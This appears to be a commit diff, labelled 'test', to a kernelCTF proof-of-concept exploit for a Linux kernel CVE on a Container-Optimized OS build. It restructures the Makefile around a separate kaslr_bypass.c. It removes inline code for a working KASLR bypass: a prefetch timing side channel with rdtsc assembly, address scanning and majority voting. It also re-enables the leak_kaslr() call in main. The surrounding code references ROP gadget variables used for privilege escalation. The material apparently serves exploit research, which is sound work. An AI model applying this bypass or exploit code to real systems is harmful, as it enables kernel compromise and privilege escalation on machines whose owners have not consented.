test

Author: Hc0wl

pocs/linux/kernelctf/CVE-2026-23074_cos/exploit/cos-113-18244.521.39/Makefile

@@ -1,14 +1,24 @@
-CXX = g++
-CXXFLAGS = -static -DKASLR_BYPASS_INTEL=1
-LDFLAGS = -lkernelXDK
-
-all: exploit
-
-exploit: exploit.c
-	$(CXX) $(CXXFLAGS) -o exploit exploit.c $(LDFLAGS)
-
-exploit_debug: exploit.c
-	$(CXX) $(CXXFLAGS) -g -o exploit_debug exploit.c $(LDFLAGS)
-
-clean:
-	rm -f exploit exploit_debug
+CC = gcc
+CXX = g++
+CFLAGS = -static -DKASLR_BYPASS_INTEL=1
+CXXFLAGS = -static -DKASLR_BYPASS_INTEL=1
+LDFLAGS = -lkernelXDK
+
+all: exploit
+
+kaslr_bypass.o: kaslr_bypass.c kaslr_bypass.h
+	$(CC) $(CFLAGS) -c kaslr_bypass.c -o kaslr_bypass.o
+
+exploit.o: exploit.c kaslr_bypass.h
+	$(CXX) $(CXXFLAGS) -c exploit.c -o exploit.o
+
+exploit: exploit.o kaslr_bypass.o
+	$(CXX) $(CXXFLAGS) -o exploit exploit.o kaslr_bypass.o $(LDFLAGS)
+
+exploit_debug: exploit.c kaslr_bypass.c kaslr_bypass.h
+	$(CC) $(CFLAGS) -g -c kaslr_bypass.c -o kaslr_bypass_dbg.o
+	$(CXX) $(CXXFLAGS) -g -c exploit.c -o exploit_dbg.o
+	$(CXX) $(CXXFLAGS) -g -o exploit_debug exploit_dbg.o kaslr_bypass_dbg.o $(LDFLAGS)
+
+clean:
+	rm -f exploit exploit_debug *.o

pocs/linux/kernelctf/CVE-2026-23074_cos/exploit/cos-113-18244.521.39/exploit

@@ -26,6 +26,7 @@
 #include <sys/wait.h>
 #include <xdk/core.h>
 #include <xdk/postrip.h>
+#include "kaslr_bypass.h"
 
 #define NLA_F_NESTED (1 << 15)
 #define TC_HANDLE(maj, min) (((maj) << 16) | (min))
@@ -79,7 +80,6 @@ uint64_t stack_shift2_ret = 0;
 uint64_t stack_shift5_ret = 0;
 uint64_t xor_eax_jmp = 0;
 unsigned long user_cs,user_ss,user_rsp,user_rflags;
-uint64_t kaslr = -1;
 static int spray_ifindex = 0;
 pgv_frame_t pgv[2] = {};
 static char g_nl_buf[TC_MSG_BUFSIZE];
@@ -134,214 +134,6 @@ void setup_sandbox()
     close(fd);
 }
 
-// KASLR bypass
-//
-// This code is adapted from https://github.com/IAIK/prefetch/blob/master/cacheutils.h
-//
-inline __attribute__((always_inline)) uint64_t rdtsc_begin() {
-	uint64_t a, d;
-	asm volatile ("mfence\n\t"
-		"RDTSCP\n\t"
-		"mov %%rdx, %0\n\t"
-		"mov %%rax, %1\n\t"
-		"xor %%rax, %%rax\n\t"
-		"lfence\n\t"
-		: "=r" (d), "=r" (a)
-		:
-		: "%rax", "%rbx", "%rcx", "%rdx");
-	a = (d<<32) | a;
-	return a;
-}
-
-inline __attribute__((always_inline)) uint64_t rdtsc_end() {
-	uint64_t a, d;
-	asm volatile(
-		"xor %%rax, %%rax\n\t"
-		"lfence\n\t"
-		"RDTSCP\n\t"
-		"mov %%rdx, %0\n\t"
-		"mov %%rax, %1\n\t"
-		"mfence\n\t"
-		: "=r" (d), "=r" (a)
-		:
-		: "%rax", "%rbx", "%rcx", "%rdx");
-	a = (d<<32) | a;
-	return a;
-}
-
-void prefetch(void* p)
-{
-	asm volatile (
-	"prefetchnta (%0)\n"
-	"prefetcht2 (%0)\n"
-	: : "r" (p));
-}
-
-size_t flushandreload(void* addr) // row miss
-{
-	size_t time = rdtsc_begin();
-	prefetch(addr);
-	size_t delta = rdtsc_end() - time;
-	return delta;
-}
-
-#define ARRAY_LEN(x) (sizeof(x) / sizeof(x[0]))
-
-int bypass_kaslr(uint64_t base) {
-	if (!base) {
-	#ifdef KASLR_BYPASS_INTEL
-		#define OFFSET 0
-		#define START (0xffffffff81000000ull + OFFSET)
-		#define END   (0xffffffffD0000000ull + OFFSET)
-		#define STEP   0x0000000001000000ull
-		while (1) {
-			uint64_t bases[7] = {0};
-			for (int vote = 0; vote < ARRAY_LEN(bases); vote ++) {
-				size_t times[(END - START) / STEP] = {};
-				uint64_t addrs[(END - START) / STEP];
-
-				for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
-					times[ti] = ~0;
-					addrs[ti] = START + STEP * (uint64_t)ti;
-				}
-
-				for (int i = 0; i < 16; i++) {
-				for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
-					uint64_t addr = addrs[ti];
-					size_t t = flushandreload((void*)addr);
-					if (t < times[ti]) {
-						times[ti] = t;
-					}
-				}
-				}
-
-				size_t minv = ~0;
-				size_t mini = -1;
-				for (int ti = 0; ti < ARRAY_LEN(times) - 1; ti++) {
-					if (times[ti] < minv) {
-						mini = ti;
-						minv = times[ti];
-					}
-				}
-
-				if (mini < 0) {
-					return -1;
-				}
-
-				bases[vote] = addrs[mini];
-			}
-
-			int c = 0;
-			for (int i = 0; i < ARRAY_LEN(bases); i++) {
-				if (c == 0) {
-					base = bases[i];
-				} else if (base == bases[i]) {
-					c++;
-				} else {
-					c--;
-				}
-			}
-
-			c = 0;
-			for (int i = 0; i < ARRAY_LEN(bases); i++) {
-				if (base == bases[i]) {
-					c++;
-				}
-			}
-			if (c > ARRAY_LEN(bases) / 2) {
-				base -= OFFSET;
-				goto got_base;
-			}
-
-			logd("majority vote failed:\n");
-			logd("base = 0x%lx with %d votes\n", base, c);
-		}
-	#else
-		#define START (0xffffffff81000000ull)
-		#define END (0xffffffffc0000000ull)
-		#define STEP 0x0000000000200000ull
-		#define NUM_TRIALS 7
-		// largest contiguous mapped area at the beginning of _stext
-		#define WINDOW_SIZE 11
-
-		while (1) {
-			uint64_t bases[NUM_TRIALS] = {0};
-
-			for (int vote = 0; vote < ARRAY_LEN(bases); vote ++) {
-				size_t times[(END - START) / STEP] = {};
-				uint64_t addrs[(END - START) / STEP];
-
-				for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
-					times[ti] = ~0;
-					addrs[ti] = START + STEP * (uint64_t)ti;
-				}
-
-				for (int i = 0; i < 16; i++) {
-				for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
-					uint64_t addr = addrs[ti];
-					size_t t = flushandreload((void*)addr);
-					if (t < times[ti]) {
-						times[ti] = t;
-					}
-				}
-				}
-
-				uint64_t max = 0;
-				int max_i = 0;
-				for (int ti = 0; ti < ARRAY_LEN(times) - WINDOW_SIZE; ti++) {
-					uint64_t sum = 0;
-					for (int i = 0; i < WINDOW_SIZE; i++) {
-						sum += times[ti + i];
-					}
-					if (sum > max) {
-						max = sum;
-						max_i = ti;
-					}
-				}
-
-				bases[vote] = addrs[max_i];
-			}
-
-			int c = 0;
-			for (int i = 0; i < ARRAY_LEN(bases); i++) {
-				if (c == 0) {
-					base = bases[i];
-				} else if (base == bases[i]) {
-					c++;
-				} else {
-					c--;
-				}
-			}
-
-			c = 0;
-			for (int i = 0; i < ARRAY_LEN(bases); i++) {
-				if (base == bases[i]) {
-					c++;
-				}
-			}
-			if (c > ARRAY_LEN(bases) / 2) {
-				goto got_base;
-			}
-
-			logd("majority vote failed:\n");
-			logd("base = 0x%lx with %d votes\n", base, c);
-		}
-	#endif
-	}
-
-got_base:
-	logd("Using kernel base 0x%lx", base);
-	kaslr = base;
-
-	return 0;
-}
-
-__attribute__((constructor(101)))
-void leak_kaslr()
-{
-    bypass_kaslr(0);
-    printf("[+] kernel base: 0x%lx\n", kaslr);
-}
 
 // loopback interface up
 static void setup_loopback(void)
@@ -1017,7 +809,7 @@ static long vuln_setup2(void)
 
 int main(void)
 {
-    //leak_kaslr();
+    leak_kaslr();
     init_libxdk();
     setup_kernel_address();
     setup_env();